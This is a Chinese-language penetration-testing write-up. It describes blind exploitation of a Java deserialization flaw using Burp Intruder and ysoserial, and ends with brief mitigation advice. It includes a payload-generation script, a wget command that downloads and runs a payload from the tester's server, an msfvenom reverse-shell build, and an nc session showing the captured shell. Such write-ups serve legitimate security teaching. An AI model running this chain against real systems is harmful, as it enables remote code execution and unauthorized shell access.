导语:在本文中,我们将为读者详细介绍如何使用Burp和Ysoserial实现Java反序列化漏洞的盲利用。
在执行Web应用程序渗透测试时,我在POST参数中偶然发现了一个参数,其内容为某些base64编码的数据。出于好奇,我将其发送给了Burp的解码器。
经过两轮URL解码和一轮Base64解码后,得到的内容看上去好像是一个序列化的Java有效载荷。实际上,这一点是通过幻数看出来的,该幻数用ASCII表示的话,为rO0,用十六进制表示的话,就是AC ED 00。听说过ysoserial之后,我认为最好的做法就是使用该工具集构建一个有效载荷,并将其作为我发现的POST参数的值进行发送。Ysoserial简直太棒了,因为它提供了大量的有效载荷,以至于多到我都不知道应该使用哪一个了。幸运的是,我在/r/netsec上发现的一篇博文详细介绍了一个与这里非常相似的情形。Petre Popescu的文章还提供了一个脚本,该脚本能够创建一系列有效载荷,其中包含了可以实现命令执行的各种有效载荷类型中的所有命令。和他一样,我也不知道基础操作系统是啥,于是我同时为Linux和Windows系统创建了有效载荷ping。我在分析基准有效载荷时发现的另一个问题是,它并非是简单的base64编码;它首先进行了base64编码,然后每76个字符为一组,用换行符进行分隔,接着又进行了两次URL编码。为此,我对Petre的脚本进行了相应的修改,使其能够适应这种情况。
import os import re import base64 import urllib payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2'] def generate(name, cmd): for payload in payloads: final = cmd.replace('REPLACE', payload) print 'Generating ' + payload + ' for ' + name + '...' command = os.popen('java -jar ../ysoserial.jar ' + payload + ' "' + final + '"') result = command.read() command.close() encoded = base64.b64encode(result) if encoded != "": #Create line breaks at 76 characters encoded = re.sub("(.{76})", "\\1\n", encoded, 0, re.DOTALL) #Double URL encode the payload encoded = urllib.quote_plus(urllib.quote_plus(encoded)) open(name + payload + '_intruder.txt', 'a').write(encoded + '\n') generate('Windows', 'ping -n 1 [MY_SERVER]) generate('Linux', 'ping -c 1 [MY_SERVER])
像Petre一样,我也是通过Burp Intruder逐一发送这些有效载荷,将这些有效载荷转换为易受攻击的参数。同时,我还在自己的服务器上启动了tcpdump,用来过滤ICMP。
[email protected]:~# tcpdump icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
随着有效载荷开始释放,我发现一个ping进入自己的服务器,其DNS名称与我的客户端是匹配的。为了验证哪个有效载荷是有效的,我再次运行Intruder攻击,并将其减慢,以查看实际触发的有效载荷。我发现目标系统是Linux,并且有效载荷CommonsBeanutils1是有效的。
由于我特别热衷于反向shell,所以,下一步是获得一个可以在目标系统上运行的有效载荷。因此,我根据pentestmonkey网站的Reverse Shell Cheat Sheet中的单行荷载进行了逐一尝试,可惜并未如愿。然后,从我控制的服务器上利用wget下载了一个有效载荷,设置其执行位,并运行之。最初,我企图连接这三个命令::
wget http://MY_SERVER:8080/payload -o /tmp/payload chmod +x /tmp/payload /tmp/payload
经过反复试验后,后来发现用分号连接命令在这里没有用,所以,只好一次发送一个命令。在单行有效载荷失败之后,我为Linux创建了一个ELF二进制文件,以便用msfbusin连接回我的服务器。
[email protected]:~# msfvenom -p linux/x86/shell_reverse_tcp LPORT=443 LHOST=MY_SERVER -f elf > payload No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 68 bytes Final size of elf file: 152 bytes
由于不了解目标系统的具体架构,所以我只选择了32位有效载荷,因为我知道,它可以同时在64位和32位系统上工作。在发送了三个序列化的java命令后,我在服务器上收到了一个连接。
[email protected]:~# nc -lvp 443 listening on [any] 443 ... connect to [XXX.XXX.XXX.XXX] from victim.com [XXX.XXX.XXX.XXX] 60173 python -c 'import pty;pty.spawn("/bin/bash")' [[email protected]]$ id id uid=500(victim) gid=500(victim) groups=500(victim)
在目标系统上收到反向shell之后,我很快就通知了客户。
缓解这类漏洞的最佳方法是使用其他类型的数据格式,避免使用本机反序列化格式。如果应用程序需要传递序列化对象,则必须仅限于对已签名和验证的序列化对象执行该操作,以降低恶意用户提供的任意对象的风险。